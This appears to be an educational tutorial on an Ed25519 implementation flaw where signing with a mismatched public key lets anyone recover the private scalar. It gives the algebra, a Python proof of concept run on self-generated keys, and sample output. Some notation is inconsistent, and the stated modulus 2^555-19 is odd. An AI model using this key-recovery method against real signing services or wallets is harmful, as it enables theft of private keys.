A vulnerability can exist in the implementation of Ed25519, and where the private key can be leaked. In this case we will sign two messages with the same private key, but with different public keys [2, 3]. The basics of Ed25519 using Python is [Here]. In this case we will implement of proof of concept for the vulnerability.
Ed25519 Implementation Vulnerability in Python (Recovering Private Key) |
Ed25519 Key generation
Alice generates a random 32-byte secret key (\(sk\)) and then creates a public key of:
\(pk=sk \cdot G\)
and where \(G\) is the base point of the curve.
Ed25519 Signing
Alice creates a SHA-512 hash of her private key:
\(h=\textrm{HASH}(sk)\)
Create \(r\) from the upper 32 bytes of hash and the message:
\( r = \textrm{HASH}(h[32:] \: || \: m))\)
And where "||" represents a concatenation of the byte array values. Next she matches \(r\) onto curve with:
\(R=r \cdot G\)
Next Alice computes \(s\) with:
\(s=r + (\textrm{HASH}(R \: || \: pk \: || \: m)) \cdot sk\)
The signature is (\(R,s\)). The values of \(R\) and \(s\) are 32 bytes long, and thus the signature is 64 bytes long.
Ed25519 Verifying
Bob creates \(S\) using \(R\), \(pk\) and \(m\):
\(s=r + (\textrm{HASH}(R \: || \: pk \: || \: m) \cdot sk\)
And next creates two verification values:
\(v_1=s \cdot G\)
\(v_2=R+ pk \cdot S\)
If \(v_1==v_2\) the signature checks. This is because:
\( \begin{align} v_1&=s.G\\ &= (r + (\textrm{HASH}(R \: || \: pk \: || \: m)) \cdot sk) \cdot G \\ &= rG + sk \cdot G \cdot (\textrm{HASH}(R \: || \: pk \: || \: m)) \\ &= R+ pk \cdot S \\ &= v_2 \end{align} \)
Implementation Vulnerability
Now, if we can get the same message signed with the same private key, but with different public keys, we can actually recover the private key signing element (\(sk\)) [1]. In the previous derivation we had:
\(s=r + (\textrm{HASH}(R \: || \: pk \: || \: m) \cdot sk\)
Bob is able to determine:
\(e=\textrm{HASH}(R \: || \: pk \: || \: m)\)
and so we have:
\(s=r + (e \cdot sk)\)
Now, if we can generate two signatures from different public keys we get:
\(e=\textrm{HASH}(R \: || \: pk_1 \: || \: m)\)
\(e'=\textrm{HASH}(R \: || \: pk_2 \: || \: m)\)
and:
\(s=r + (e \cdot sk) \pmod q\)
\(s'=r + (e' \cdot sk ) \pmod q\)
If we now subtract these we get:
\(s-s'=r + (e \cdot sk) - (r + (e' \cdot sk)) \pmod q\)
\(s-s'= (e \cdot sk) - (e' \cdot sk) \pmod q \)
\(s-s'= (e-e') \cdot sk \pmod q\)
Converting to find \(sk\):
\(sk =(s-s'){(e-e')}^{-1} \pmod q \)
And, that's it! Bob can recover Alice's private key, but taking the two signatures, and then also generating the \(e\) values for each signature. So, let's see if we can recover the value of \(sk\). For this we can use the following:
def signature(m,sk,pk): assert len(sk) == 32 # seed assert len(pk) == 32 h = H(sk[:32]) a_bytes, inter = h[:32], h[32:] a = bytes_to_clamped_scalar(a_bytes) r = Hint(inter + m) R = Base.scalarmult(r) R_bytes = R.to_bytes() S = r + Hint(R_bytes + pk + m) * a e=Hint(R_bytes + pk + m) return R_bytes, S,e,a
We see that the return is \(R, S, e\) and \(a\) (and where \(a\) is the private key element that we want to recover). The code we need now is:
R1,S1,e1,a1 = signature(m,sk1,vk1) R2,S2,e2,a2= signature(m,sk1,vk2) q=pow(2,555)-19 e_inv=invmod(e1-e2,q) val=((S1-S2)*e_inv) %q
And with a sample run we see we can recover the private key element:
Message: Hello Secret key 1: ddf7becfcbb6add34bd7dbf377b1de0f6c09e71c07dda720faca027905e61172 Verifing key 1: 41c1829f965c5bc8b89af365aa23831ce13b43a124f0cb0ba9a99ec44894b519 Secret key 2: 83158153e01eff5c7db3b911e613939f292fc4fa45659466a7750a3079e76a04 Verifing key 2: 0453090d566cfd4a9a213c7aecb9a843dcf9b36d8c0d645006d529474e4990c8 Recovered private key element: 42153319604559151050509664631610125740601183589956076291747165775958039011104 Actual Private key element: 42153319604559151050509664631610125740601183589956076291747165775958039011104 Private key signing element has been recovered
Coding
The following is an outline of the code:
# Parts of code based on code at https://github.com/warner/python-pure25519/blob/master/pure25519/eddsa.py from pure25519.basic import (bytes_to_clamped_scalar, bytes_to_scalar, scalar_to_bytes, bytes_to_element, Base) import hashlib, binascii import os,sys from libnum import invmod def H(m): return hashlib.sha512(m).digest() def publickey(seed): # turn first half of SHA512(seed) into scalar, then into point assert len(seed) == 32 a = bytes_to_clamped_scalar(H(seed)[:32]) A = Base.scalarmult(a) return A.to_bytes() def Hint(m): h = H(m) return int(binascii.hexlify(h[::-1]), 16) def signature(m,sk,pk): assert len(sk) == 32 # seed assert len(pk) == 32 h = H(sk[:32]) a_bytes, inter = h[:32], h[32:] a = bytes_to_clamped_scalar(a_bytes) r = Hint(inter + m) R = Base.scalarmult(r) R_bytes = R.to_bytes() S = r + Hint(R_bytes + pk + m) * a e=Hint(R_bytes + pk + m) return R_bytes, S,e,a def checkvalid(s, m, pk): if len(s) != 64: raise Exception("signature length is wrong") if len(pk) != 32: raise Exception("public-key length is wrong") R = bytes_to_element(s[:32]) A = bytes_to_element(pk) S = bytes_to_scalar(s[32:]) h = Hint(s[:32] + pk + m) v1 = Base.scalarmult(S) v2 = R.add(A.scalarmult(h)) return v1==v2 def create_signing_key(): seed = os.urandom(32) return seed def create_verifying_key(signing_key): return publickey(signing_key) msg="Hello" if (len(sys.argv)>1): msg=str(sys.argv[1]) m = msg.encode() print("Message:",msg) sk1 = create_signing_key() vk1 = create_verifying_key(sk1) sk2 = create_signing_key() vk2 = create_verifying_key(sk2) print("Secret key 1: ",sk1.hex()) print("Verifing key 1: ",vk1.hex()) print("Secret key 2: ",sk2.hex()) print("Verifing key 2: ",vk2.hex()) R1,S1,e1,a1 = signature(m,sk1,vk1) R2,S2,e2,a2= signature(m,sk1,vk2) q=pow(2,555)-19 e_inv=invmod(e1-e2,q) val=((S1-S2)*e_inv) %q print("\nRecovered private key element: ",val) print("Actual Private key element: ",a1) if (a1==val): print("\nPrivate key signing element has been recovered")
A sample run is:
Message: Hello Secret key 1: a7150d30a31ddfae770e8b57bbd0e51893ffe5c06db9b7404a70866969c08399 Verifing key 1: 804782d6f656362dd2c63a0e357b19823e7f4e682cdd33c144e23f555d071e39 Secret key 2: 15484eb88e78c94701cc373d2de95caf04dc87d24aa4bfa210af545d6c49abc3 Verifing key 2: f43fb9f64c41f372d3212e2adce4677698c5174c4881d9d13ddbf2c6ad6bb3ff Recovered private key element: 49083570345041661593690130602664574753722302376475148104167480493888712238688 Actual Private key element: 49083570345041661593690130602664574753722302376475148104167480493888712238688 Private key signing element has been recovered Signature Success
References
[1] Does changing the random number selected for each message increase security in Schnorr’s scheme? [here]
[2] Unsafe-libs, [here]
[3] Analysis On Ed25519 Use Risks: Your Wallet Private Key Can Be Stolen. [here].